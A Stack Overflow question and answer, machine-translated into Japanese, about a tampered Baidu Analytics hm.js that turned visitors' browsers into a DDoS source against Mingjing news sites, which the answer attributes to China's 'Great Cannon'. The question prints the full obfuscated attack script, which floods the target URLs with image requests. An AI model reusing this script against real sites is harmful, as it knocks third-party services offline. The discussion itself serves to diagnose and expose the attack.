2017-08-25 3 views
19

更新:Baidu TongJi(Analytics)のJavascriptコードをランダムに置き換えて、ブラウザ上のWebサイトでDDoS攻撃を行うものは何ですか?

異なるhm.js(Baidu TongJi JSライブラリ)が読み込まれているようです。 DDoS攻撃が検出されない場合、標準のhm.jsがロードされます。 DDOSがある場合、まったく異なるhm.jsがロードされます。私は中国の偉大なファイアウォールがコードを変更している疑いがあります。

この

はDDOSを起動するように変更されましたhm.jsです:

// the following code launches DDOS against sites like mingjingnews.com 

eval(function(p, a, c, k, e, d) { 
    e = function(c) { 
     return (c < a ? "" : e(parseInt(c/a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) 
    } 
    ; 
    if (!''.replace(/^/, String)) { 
     while (c--) 
      d[e(c)] = k[c] || e(c); 
     k = [function(e) { 
      return d[e] 
     } 
     ]; 
     e = function() { 
      return '\\w+' 
     } 
     ; 
     c = 1; 
    } 
    ;while (c--) 
     if (k[c]) 
      p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c]); 
    return p; 
}('c((/15\\/([\\d]+)/16.17(l.A.D.E())[1]>=12)&&(l.A.D.E().14("18")<0)){3 G=1c;3 p=[\'i://1d.o.j/\',\'i://1e.o.j/\',\'i://19.o.j/\',\'i://1a.1b.j/\',\'i://S.o.j/U/Y/Z.11\'];3 J=V;3 n=W;3 N=10;3 v=1;g u(){3 a=e 7();H 7.X(a.T(),a.1w(),a.1x(),a.1v(),a.P(),a.L())/R}h.C("F")[0].I="<1t 1u=\\"B\\" 1y=\\"1C-B\\">"+h.C("F")[0].I;3 6=[];3 f=[];3 x=5;3 b=[];3 9=[];3 w=\'\';3 m=0;g q(2){3 8=6[2];c(8!=5){h.z.1B(8)}6[2]=5;c(m<J&&9[2]-x<G){O(\'s(\'+2+\')\',(9[2]-b[2])>n?n:(9[2]-b[2]))}}g Q(2){c(6[2]==5){H}c(6[2].1j){l.y(f[2]);9[2]=e 7().k();q(2)}1k{c(e 7().k()-b[2]>n){l.y(f[2]);q(2)}}}g s(2){8=h.z.1q(h.1r(\'1m\'));w=p[u()%p.1o];8.1n=w+\'?t=\'+u()+M.1p(M.1l()*1h);8.1g.1f=\'1i\';6[2]=8;b[2]=9[2]=e 7().k();f[2]=1s("Q("+2+")",1A);m=m+1}g K(){x=e 7().k();1z(3 4=0;4<N;4+=1){6[4]=5;f[4]=5;b[4]=5;9[4]=5;s(4)}}3 r=e 7();O(\'K()\',((v-r.P()%v)*13-r.L())*R)}', 62, 101, '||index|var|ti|null|p_img_list|Date|p_img_tmp|responsetime_list|dt|requesttime_list|if||new|timer_list|function|document|http|com|getTime|window|count|TIMEGAP|mingjingnews|url_list|imgdel|now|imgadd||unixtime|START_CLOCK|url|starttime|clearInterval|body|navigator|referrer|getElementsByTagName|userAgent|toLowerCase|head|MAX_TIME|return|innerHTML|MAX_COUNT|start|getSeconds|Math|THREAD|setTimeout|getMinutes|isImgComplete|1000|bravo1|getFullYear|2017|100000000|500|UTC|01|bravo||html|34|60|indexOf|chrome|gi|exec|edge|tv2|www|mingjingtimes|300000|news2|s3|display|style|100|none|complete|else|random|img|src|length|ceil|appendChild|createElement|setInterval|meta|name|getHours|getMonth|getDate|content|for|50|removeChild|no'.split('|'), 0, {})) 

は何のDDOSが存在しないthe original hm.js code、これを比較してください。

これらの2つのhm.jsライブラリは、全く同じアドレスから来ています。


Developer Console in Chrome

私はBaiduの同済(解析)を使用しているサイトがあります。ほとんどの他のjavascriptライブラリと同様に、HTMLにJavascriptの行を挿入することによって行われます。私の恐怖に

module.exports = function(id) { 
if (!id) { 
    throw new Error('请填写百度统计id'); 
} 
    var elm = document.createElement('script'); 
    elm.src = '//hm.baidu.com/hm.js?' + id; 
    var body = document.getElementsByTagName('body')[0]; 
    body.appendChild(elm); 
} 

それが初期化されたら、私のブラウザのコンソールとネットワーク画面では、わずか100秒の明ジンニュースに周り3000 +ネットワーク要求(中国の共産政府によると、偽のニュース)での洪水です...私はそれを止めるまで続けた。

これは、中国の偉大な壁がBaiduのCDNを使ってGitHubに攻撃を仕掛けるために使われた最後の時と似ていると考え始めています。

私は現在、中国の外からBaiduのを呼び出していますし、これが正常であれば、私は疑問に思って...中国内部の人々から免れるされますこの?

+1

プログラミングの質問が正確であることを明確にすることはできますか? –

+0

@CodyGrayプログラミングの手間が省け、中国のインターネットセキュリティとインターネットに関する詳細...中国外からのBaiduサービスを使用していますか? – williamli

+0

ええ、それは私の懸念(とあなたの質問にフラグを立てた他のユーザー)でした。スタックオーバフローはプログラミングの質問のみを扱うので、私たちがこのサイトに適しているかどうかはわかりません。明らかに多くの人々にとって興味深い質問でしたが、それ以外の場所が適切かどうかはわかりません。 –

答えて

6

今すぐ削除された回答kosで示唆されているように、これは中国が採用した攻撃の(比較的)新しい形態です。それは2015年にGitHubへの攻撃によって有名になった。この攻撃の形態は現在「大砲」と呼ばれている。

詳細はBrian Krebs's security blogにあります。

The Great Cannon

関連する問題